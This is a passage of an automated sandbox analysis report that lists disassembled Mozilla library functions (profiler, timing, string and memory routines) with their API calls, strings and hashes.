MOZ_APP_RESTART, xrefs: 6C5256CC

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 32e53bbe00c160274d7af7fa128037c6af14adad147f6729f07eee0090c6c90a
Instruction ID: dcedde1fdf72fdb8f6f7de46ff2f840c65a35ca30e20e00ded9b9cf14d0d466e
Opcode Fuzzy Hash: 32e53bbe00c160274d7af7fa128037c6af14adad147f6729f07eee0090c6c90a
Instruction Fuzzy Hash: 79C18B31A093509FD705CF28C84166AB7F1FFCA314F569B1DE8C4A7664E734A885CB82

Function 6C54EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54EC8C

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

GetCurrentThreadId.KERNEL32 ref: 6C54ECA1
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C54ECC5
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C54ED19
CloseHandle.KERNEL32(?), ref: 6C54ED28
free.MOZGLUE(00000000), ref: 6C54ED2F
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C54EC94

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 9f0e2f7d8aeeb4e61416c5a2d0aafa1187b1ff94a08919431a66e8f552009210
Instruction ID: 7eba169e8f4ce33bf60225ad963a17986c07e1a38a7c26cfe9ee265eba9b24a9
Opcode Fuzzy Hash: 9f0e2f7d8aeeb4e61416c5a2d0aafa1187b1ff94a08919431a66e8f552009210
Instruction Fuzzy Hash: 5621BF75602124EFDB00AF64DC08AAAB779FB8B36CF118215F81897751DB719C068BA5

Function 6C548ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C50EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C50EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C54B392,?,?,00000001), ref: 6C5491F4

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

Strings

data, xrefs: 6C5490E8
timeline-memory, xrefs: 6C549088
marker-chart, xrefs: 6C54905E
stack-chart, xrefs: 6C5490B2
name, xrefs: 6C548F16
timeline-overview, xrefs: 6C54907A
timeline-ipc, xrefs: 6C549096
marker-table, xrefs: 6C54906C
timeline-fileio, xrefs: 6C5490A4

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 5a875095a5900058870b3df68c8f0e5d535017abe458fad961432e9f98c51b29
Instruction ID: c66a3347c3962881ae2cdc099ad63041a973f6c321e99bb93e33d595bd16e5ab
Opcode Fuzzy Hash: 5a875095a5900058870b3df68c8f0e5d535017abe458fad961432e9f98c51b29
Instruction Fuzzy Hash: 98B1C1B0A05219DBDB04CF94CD56BEEBBBAAF84318F208519D405ABF80D771AD45CBE1

Function 6C52C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C52C5A3
WideCharToMultiByte.KERNEL32 ref: 6C52C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C52C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C52CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C52CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52CAA5

Strings

0, xrefs: 6C52D30A
(null), xrefs: 6C52C596

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: c32a3ee3196ee60d01741fda070e9c41ea2170702cbb51b67624cc9a929982ad
Instruction ID: 8920ef6727e776ee0146090e51f4310debb9c0b5ee57ff1802d7743958625978
Opcode Fuzzy Hash: c32a3ee3196ee60d01741fda070e9c41ea2170702cbb51b67624cc9a929982ad
Instruction Fuzzy Hash: 7AA19E306093429FEB10DF28CD4475ABBF1AF89748F05895DE89997782D739E805CB92

Function 6C52C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C52C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C52C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C52C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C52C891

Strings

NAN, xrefs: 6C52C7AD
inf, xrefs: 6C52C78F
nan, xrefs: 6C52C7A8
INF, xrefs: 6C52C794

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 0f9703603c857e52dd2931b4b951803b7d26f8c7dc2d626cd27cb6e0d19f2d9c
Instruction ID: be752a2af9005d106f9731b8a150c5cf73eaae743251ceb787a631530663365a
Opcode Fuzzy Hash: 0f9703603c857e52dd2931b4b951803b7d26f8c7dc2d626cd27cb6e0d19f2d9c
Instruction Fuzzy Hash: 785196715087808BE704EF2CC88169AFBF0BF9A344F008A1DE9D5A7691E774E985CB53

Function 6C503480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C503492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C5034A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C5034EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C50350E
__Init_thread_footer.LIBCMT ref: 6C503522
__aulldiv.LIBCMT ref: 6C503552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C50357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C503592

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

Strings

kernel32.dll, xrefs: 6C5034EA
GetSystemTimePreciseAsFileTime, xrefs: 6C503508

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 4f4b8027c675aece6f98bcf0247be976f106f1681701b04ea0dd1e04fe1ba52d
Instruction ID: bb9ca0891b4b4ff76b78817a471f17fcc703506780a43bfdb9cdd4e9ac16607a
Opcode Fuzzy Hash: 4f4b8027c675aece6f98bcf0247be976f106f1681701b04ea0dd1e04fe1ba52d
Instruction Fuzzy Hash: 8031C471B02225DBDF00DFB6CC48EAA77B9FB4B308F121619E505E3660EB74A904CB64

Function 6C504480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C544843,?), ref: 6C5045F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C544843,?), ref: 6C50468A
free.MOZGLUE(?,?,?,?,?,?,6C544843,?), ref: 6C5046C9
free.MOZGLUE(?), ref: 6C5046EF
free.MOZGLUE(?), ref: 6C504712
free.MOZGLUE(?), ref: 6C504735
free.MOZGLUE(?), ref: 6C504758
free.MOZGLUE(?), ref: 6C50477B
free.MOZGLUE(?), ref: 6C50479E

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 4c2f422450a501e90bca831a5bc6ca40862e0217a779dd3739a31739698b3dfa
Instruction ID: ee679deb6a9e66a16dc19a8b28a62e7d1b948770f12c55f2fc24c87a1daf1bb6
Opcode Fuzzy Hash: 4c2f422450a501e90bca831a5bc6ca40862e0217a779dd3739a31739698b3dfa
Instruction Fuzzy Hash: 7DB1D271B005508FDB18DE3CDC9476D77A2AFA2328F184A69E816DBBD6E7319C408B91

Function 6C56AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C56AC52
CreateFileMappingW.KERNEL32 ref: 6C56AC7D
GetSystemInfo.KERNEL32 ref: 6C56AC98
MapViewOfFile.KERNEL32 ref: 6C56ACB0
GetSystemInfo.KERNEL32 ref: 6C56ACCD
MapViewOfFile.KERNEL32 ref: 6C56AD05
UnmapViewOfFile.KERNEL32 ref: 6C56AD1C
CloseHandle.KERNEL32 ref: 6C56AD28
UnmapViewOfFile.KERNEL32 ref: 6C56AD37
CloseHandle.KERNEL32 ref: 6C56AD43
CloseHandle.KERNEL32 ref: 6C56AD67

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 076ec6f203131ef855fd82a59af8f5bd66902f6965ce6d9413cd717166af6960
Instruction ID: ffc047458345256063b3694cb85e4312b62115950f3cd3173925a0cf734c3d11
Opcode Fuzzy Hash: 076ec6f203131ef855fd82a59af8f5bd66902f6965ce6d9413cd717166af6960
Instruction Fuzzy Hash: 50316EB19057158FDB00BF79CE4826EBBF4BF86305F025A2DE98587611EB709488CB96

Function 6C519620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C519675
__Init_thread_footer.LIBCMT ref: 6C519697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5196E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C519707
__Init_thread_footer.LIBCMT ref: 6C51971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C519773

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5197B7
FreeLibrary.KERNEL32 ref: 6C5197D0
FreeLibrary.KERNEL32 ref: 6C5197EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C519824

Strings

MapViewOfFileNuma2, xrefs: 6C5197B1
ntdll.dll, xrefs: 6C5196E3
NtMapViewOfSection, xrefs: 6C519701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C519670

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: d0e8439b4e5d84eafae86f88ffa3f7fe9a0ce1336a1e513574242689f45e0a38
Instruction ID: 7e7f9953d57e5ae6cd17cce20ffeef43a6d1c693c8a7c38efa564e8c81d51c01
Opcode Fuzzy Hash: d0e8439b4e5d84eafae86f88ffa3f7fe9a0ce1336a1e513574242689f45e0a38
Instruction Fuzzy Hash: 98418F746022259BFF00EFA4DC88A9677B4FB8B314F125629ED16D7B40E730A844CBA5

Function 6C550000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C550039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C550041
GetCurrentThreadId.KERNEL32 ref: 6C550075
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C550082
moz_xmalloc.MOZGLUE(00000048), ref: 6C550090
free.MOZGLUE(?), ref: 6C550104
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C55011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C55005B

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: de60b019e8b218c7508855b38e1dd44179a1b085289a63039f0649fbfa4fdc3c
Instruction ID: f95b5c49af6e8f5d533352a7a24161f993e78ff57da4b7034bb9ce0165fcf2c9
Opcode Fuzzy Hash: de60b019e8b218c7508855b38e1dd44179a1b085289a63039f0649fbfa4fdc3c
Instruction Fuzzy Hash: 4A41BF71502664DFCB10DF64CC40A9ABBF4FF8A318F81491EE95A83B50D731AC14CB96

Function 6C517E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C517EA7
malloc.MOZGLUE(00000001), ref: 6C517EB3

Part of subcall function 6C51CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C51CB49
Part of subcall function 6C51CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C51CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C517EC4
mozalloc_abort.MOZGLUE(?), ref: 6C517F19
malloc.MOZGLUE(?), ref: 6C517F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C517F4D

Strings

d, xrefs: 6C517F89

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: d8385aca42ba52a51b18ead9013e5c1985013b4a69b7d3cb0bbadfbcfecc7cfd
Instruction ID: fca0cdaf9b73ce9660251dd9deb95c232dacce5d1acb49a233b2b80ef3d7dea1
Opcode Fuzzy Hash: d8385aca42ba52a51b18ead9013e5c1985013b4a69b7d3cb0bbadfbcfecc7cfd
Instruction Fuzzy Hash: AC311871E04758D7EF019B28CC445FEB778EF96208F059628EC495BA12FB31A9C8C3A4

Function 6C513E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C513EEE
RtlFreeHeap.NTDLL ref: 6C513FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C514006
RtlFreeHeap.NTDLL ref: 6C5140A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C513CCC), ref: 6C5140AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C513CCC), ref: 6C5140C2
RtlFreeHeap.NTDLL ref: 6C514134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C513CCC), ref: 6C514143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C513CCC), ref: 6C514157

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: b49c722023178006d9089bf5eeb1e0118da9d621250ab13da46074e5757a4e4c
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 59A19FB5A04205CFEB50CF29C884659B7B5FF88318F2545A9D909AFB42D771EC86CBA0

Function 6C502030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C523F47,?,?,?,6C523F47,6C521A70,?), ref: 6C50207F
memset.VCRUNTIME140(?,000000E5,6C523F47,?,6C523F47,6C521A70,?), ref: 6C5020DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C523F47,6C521A70,?), ref: 6C50211A
EnterCriticalSection.KERNEL32(6C58E744,?,6C523F47,6C521A70,?), ref: 6C502145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C523F47,6C521A70,?), ref: 6C5021BA
EnterCriticalSection.KERNEL32(6C58E744,?,6C523F47,6C521A70,?), ref: 6C5021E0
LeaveCriticalSection.KERNEL32(6C58E744,?,6C523F47,6C521A70,?), ref: 6C502232

Strings

MOZ_CRASH(), xrefs: 6C50227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C502253, 6C502268

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: b39f47691db558693ae71d4cf245bacfc5780c43c00d7cdb45915e7d03649f79
Instruction ID: d6903fafa25e292f04187e21734c6df8af4ac63648de1f6df5c17d3aa4cb9705
Opcode Fuzzy Hash: b39f47691db558693ae71d4cf245bacfc5780c43c00d7cdb45915e7d03649f79
Instruction Fuzzy Hash: B161D631F01226CFCB04CEA9CD9976E77B5AF86318F294639E924E7A95D7709C00C791

Function 6C559D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C558273), ref: 6C559D65
free.MOZGLUE(6C558273,?), ref: 6C559D7C
free.MOZGLUE(?,?), ref: 6C559D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C559E0F
free.MOZGLUE(6C55946B,?,?), ref: 6C559E24
free.MOZGLUE(?,?,?), ref: 6C559E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C559EC8
free.MOZGLUE(6C55946B,?,?,?), ref: 6C559EDF
free.MOZGLUE(?,?,?,?), ref: 6C559EF5

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
